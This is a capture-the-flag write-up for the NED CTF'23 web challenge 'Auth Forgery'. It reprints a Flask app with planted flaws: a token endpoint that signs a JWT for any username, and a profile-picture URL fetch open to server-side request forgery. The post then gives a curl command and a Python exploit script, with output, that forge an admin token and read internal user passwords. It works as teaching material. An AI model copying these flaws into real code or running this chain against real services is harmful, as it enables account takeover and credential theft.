- Published on
NED CTF'23 - Web - Auth Forgery
- Authors
- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
We await those who can deceive the system and access the forbidden territories.
Author: Saad Akhtar
Solution
This challenge involved firstly bypassing auth to login as a different user, then utilizing SSRF to get the flag. Downloading the files, we see the following files are given to us:
Let's checkout app.py
from flask import (
Flask,
redirect,
request,
render_template,
jsonify,
make_response,
abort,
flash,
url_for,
)
import jwt, re, requests
from urllib.parse import urlparse
import socket
import threading
import time
profile_pictures = {
"admin": "https://mobimg.b-cdn.net/v3/fetch/62/624e27fde335d49e2dd3c6b75c6027a3.jpeg"
}
app = Flask(__name__)
app.config['SECRET_KEY'] = 'REDACTED'
# A dictionary to hold registered users
# TODO: Set up a database for users
users = {
'admin': 'REDACTED',
'kid': 'REDACTED',
'luffy': 'REDACTED',
'law': 'REDACTED',
'shanks': 'NCC{t3st_fl4g}'
}
# Reset the profile picture
def reset_profile_pictures():
while True:
global profile_pictures
profile_pictures = {
"admin": "https://mobimg.b-cdn.net/v3/fetch/62/624e27fde335d49e2dd3c6b75c6027a3.jpeg"
}
time.sleep(60) # Reset the dictionary every 60 seconds
def authenticate_user(username, password):
if username in users and users[username] == password:
return True
return False
# Define the home endpoint, which redirects to /login
@app.route("/")
def home():
return redirect("/login")
# Define the login endpoint, which displays the login form
@app.route("/login", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if authenticate_user(username, password):
jwt_token = jwt.encode(
{"username": username}, app.config["SECRET_KEY"], algorithm="HS256"
)
response = make_response(
redirect("/api/token?username={}".format(username))
)
response.set_cookie("JWT", jwt_token)
return response
else:
error = "Invalid username or password"
return render_template("login.html", error=error)
# Define the registration endpoint, which displays the registration form
@app.route("/register", methods=["GET", "POST"])
def register():
error = None
success = None
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
# Register the user
if username in users:
return render_template("register.html", error="Username already taken")
users[username] = password
# Show a success message and redirect the user to the login page
return render_template("register.html", success="Registration successful")
# success = 'Registration successful! You can now log in with your new account.'
return render_template("register.html", error=error, success=success)
# Define the dashboard endpoint, which displays the user's dashboard
@app.route("/dashboard")
def dashboard():
# Check if the user is logged in by verifying the JWT token in the cookie
token = request.cookies.get("JWT")
try:
payload = jwt.decode(token, app.config["SECRET_KEY"], algorithms=["HS256"])
username = payload["username"]
profile_picture = profile_pictures.get(username)
except (jwt.exceptions.InvalidTokenError, KeyError):
return redirect("/login")
return render_template(
"dashboard.html", username=username, profile_picture=profile_picture
)
# Define the API endpoint that returns the JWT token
@app.route("/api/token")
def get_token():
username = request.args.get("username")
if not username:
return jsonify(error="Missing username"), 400
# Check if the user exists and generate a JWT token for them
# Generate a JWT token for the user
token = jwt.encode(
{"username": username}, app.config["SECRET_KEY"], algorithm="HS256"
)
# Set the token as a cookie and redirect to the dashboard
response = make_response(redirect("/dashboard"))
response.set_cookie("JWT", token)
return response
# Define the logout endpoint, which logs the user out by deleting the JWT cookie and redirecting to the login page
@app.route("/logout", methods=["POST"])
def logout():
# Delete the JWT cookie and redirect to the login page
response = make_response(redirect("/login"))
response.delete_cookie("JWT")
return response
@app.route("/api/users")
def get_users():
if request.remote_addr != "127.0.0.1":
abort(403)
response = make_response(jsonify(users))
return response
# set the profile picture in admin panel
@app.route("/set_profile_picture", methods=["POST"])
def set_profile_picture():
profile_picture = request.form.get("profile_picture_url")
token = request.cookies.get("JWT")
if not token:
flash("You are not logged in.", "error")
return redirect(url_for("login"))
try:
payload = jwt.decode(token, app.config["SECRET_KEY"], algorithms=["HS256"])
username = payload["username"]
try:
response = requests.get(profile_picture)
if response.status_code == 200:
if "image" in response.headers.get("Content-Type"):
profile_pictures[username] = response.url
return render_template(
"dashboard.html",
username=username,
profile_picture=profile_picture,
)
else:
profile_pictures[username] = response.url
return render_template(
"dashboard.html",
username=username,
profile_picture=profile_picture,
response=response.text,
)
else:
flash("Error retrieving profile picture.", "error")
except requests.exceptions.RequestException as e:
flash("Error retrieving profile picture: {}".format(str(e)), "error")
except jwt.ExpiredSignatureError:
flash("Token expired. Please log in again.", "error")
return redirect(url_for("login"))
except (jwt.InvalidTokenError, KeyError):
flash("Invalid token. Please log in again.", "error")
return redirect(url_for("login"))
return redirect(url_for("dashboard"))
if __name__ == "__main__":
reset_thread = threading.Thread(target=reset_profile_pictures)
reset_thread.start()
app.run(host="0.0.0.0", port=5003)
Just reading the code, we can note the following things
- The flag is stored in
users['shanks']
/api/token
is not verifying if the user exists or not, so we can get a token for any user and it's not checking if the request is coming from an internal IP/authorized user or not./api/users
will give the list of users and their passwords if the request is coming from an internal IP./set_profile_picture
will check if the response contains an image, it will set that profile picture for the user, if not, it will simply give the body of the response in the text.
Now, in order to exploit this, we'll do the following
- Get a token for
admin
user - Make request to
/set_profile_picture
with theprofile_picture_url
ashttp://127.0.0.1:5003/api/users
. - Read the flag.
admin
user
1. Get a token for We can simply go to /api/token?username=admin
and get the token for admin
user. Do this, we can make a cURL request
$ curl -XGET -v "http://159.223.192.150:5003/api/token?username=admin"
Or, we can simply visit the URL, and then we'll be redirect to /dashboard
/set_profile_picture
with the profile_picture_url
as http://127.0.0.1:5003/api/users
.
2. Make request to Now, on the dashboard, we have a simple form. So, inside the form, we can add the value as http://127.0.0.1:5003/api/users
and submit the form.
3. Read the flag
In the response, we can see all the users being displayed, so we can see the flag
Flag: NCC{au7h*th3n*$$rf}
Now, let's write a python script to do this
#!/usr/bin/env python3
import requests
import re
url = "http://159.223.192.150:5003"
print("[*] Fetching the admin jwt token: ", end='')
sess = requests.Session()
r = sess.get(f"{url}/api/token?username=admin")
print(sess.cookies.get_dict())
print(f"[*] Making request to /set_profile_picture")
r = sess.post(f"{url}/set_profile_picture", data={"profile_picture_url" : "http://127.0.0.1:5003/api/users"})
flag = f"{re.findall('(NCC{(.*?)})', r.text)[0][0]}"
print(f"[*] Flag: {flag}")
Running this script, we get the following output:
[*] Fetching the admin jwt token: {'JWT': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Dw4EfY6pBMfHZnG4Q4b9cSudgS*2XzcZ3sldeoQBleQ'}
[*] Making request to /set_profile_picture
[*] Flag: NCC{au7h_th3n\*$$rf}